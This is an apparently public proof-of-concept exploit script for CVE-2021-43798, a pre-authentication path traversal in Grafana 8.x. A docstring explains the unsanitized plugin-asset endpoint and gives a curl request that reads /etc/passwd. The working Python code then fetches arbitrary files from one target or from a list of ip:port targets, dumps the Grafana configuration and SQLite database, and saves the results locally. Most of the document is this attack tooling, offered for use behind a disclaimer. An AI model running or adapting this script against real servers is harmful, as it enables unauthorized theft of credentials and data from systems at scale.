exploit.py

#!/usr/bin/env python3

"""
# CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth)

All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607

## Disclaimer

This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.

In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.

## Table of Content

* [Explanation](#Explanation) - Explaining the vulnerability
* [Attack Vectors](#Attack-Vectors) - List of attacks you can carry out
* [Exploit Script](#Exploit-Script) - Exploit script usage

## Explanation

I noticed a [tweet by j0v](https://twitter.com/j0v0x0/status/1466845212626542607) claiming to have found a Grafana path
traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a
pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from
the user.

Grafana has a public API endpoint, `/public/plugins/:pluginId`, which allows you to view a plugin's assets. This works
by providing a valid `:pluginId` and then specifying the file path, such as `img/logo.png`. However, Grafana fails to
sanitize the user provided file path, leading to path traversal.

The directory being accessed is at `<grafana>/public/app/plugins/panel/<pluginId>`. On a standard Grafana installation,
the Grafana data directory is `/usr/share/grafana`. So by going back 8 directories, you can reach the filesystem root
directory.

HTTP Request:

```
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```

Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

**Note: This does not work in the browser (which automatically collapse the `../` in the path)**

It can be tested with curl by using the `--path-as-is` argument:
```
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
```"""

import aiohttp
import asyncio
import argparse
import yarl
import re
from colorama import Fore, Back, Style, init
import logging
init(autoreset=True)


class Colors:
    def red(self, data):
        print(Fore.RED + data)
    def blue(self, data):
        print(Fore.BLUE + data)
    def green(self, data):
        print(Fore.GREEN + data)
    def yellow(self, data):
        print(Fore.YELLOW + data)


def check_res(text, file):
    if file == 'passwd':
        if re.findall(':x:0:0:', text):
            return True
        return False
    elif file == 'defaults.ini':
        if re.findall('##################### Grafana Configuration Defaults #####################', text):
            return True
        return False
    elif file == 'grafana.db':
        if re.findall('SQLite format', text):
            return True
        else:
            return False
    else:
        print('Cannot check a file I do not know. Try /etc/passwd or disable -c')



async def retrieve(target):
    # logging.basicConfig(filename='exploit.log', level=logging.INFO)

    async with aiohttp.ClientSession() as session:
        if args.dump_config:
            url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../conf/defaults.ini', encoded=True)
            file = 'defaults.ini'

        elif args.database:

            url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db', encoded=True)
            file = 'grafana.db'
        else:
            file = 'passwd'
            url = yarl.URL(f'{target}' + f'/public/plugins/alertlist/../../../../../../../../{args.target_file}', encoded=True)
        print('URL: ' + url.name)
        print('PATH: ' +url.path)

        async with session.get(url
                               ) as response:
            print(response.url)
            c.yellow(f"Status: {response.status}")
            c.yellow(f"Content-type:{response.headers['content-type']}")

            html = await response.text()

            # soup = BeautifulSoup(html)
            if response.status == 200:


                if args.check_output:
                    if check_res(text=html, file=file):
                        c.red(f'SUCCESS: {target}')
                        print(html)
                else:
                    c.red(f'SUCCESS: {target}')
                    print(html)
                if args.write_file:
                    target = target.strip('https://')
                    with open(args.write_file + '/'+ target + '_' + file, 'w') as f:
                        f.write(html)



def main():

    if args.target:
        task = asyncio.ensure_future(retrieve(args.target))
        loop.run_until_complete(asyncio.wait([task]))
    else:
        c.blue(f'Parsing {args.input_list}')
        with open(args.input_list, 'r') as i:
            i = i.readlines()
            for line in i:
                line = line.strip('\r\n')
                url = line.format(i)
                task = asyncio.ensure_future(retrieve(url))
                tasks.append(task)


        try:
            loop.run_until_complete(asyncio.wait(tasks))
        except Exception as fuck:
            print('error:', fuck)

targets = []
tasks = []
cmds = []
loop = asyncio.get_event_loop()
c = Colors()
args = argparse.ArgumentParser()
args.add_argument('-l', '--list', dest='input_list', type=str, help='Input list of ip:port')
args.add_argument('-db', '--database', dest='database', action='store_true', help='Dump db')
args.add_argument('-cfg', '--config', dest='dump_config', action='store_true', help='Dump config')
args.add_argument('-c', '--check', dest='check_output',  action='store_true', help='Enable output regex checking (Suppress false positives)')
args.add_argument('-t', '--target', dest='target', type=str, help='Single target')
args.add_argument('-f', '--file', dest='target_file', type=str, default='/etc/passwd', help='Remote target file')
args.add_argument('-w', '--write', dest='write_file', default=None, type=str, help='Directory to write files to.')
args.add_argument('-v', '--verbosity', dest='verbosity', action='count', help='Verbosity')
args = args.parse_args()

if __name__ == '__main__':
    main()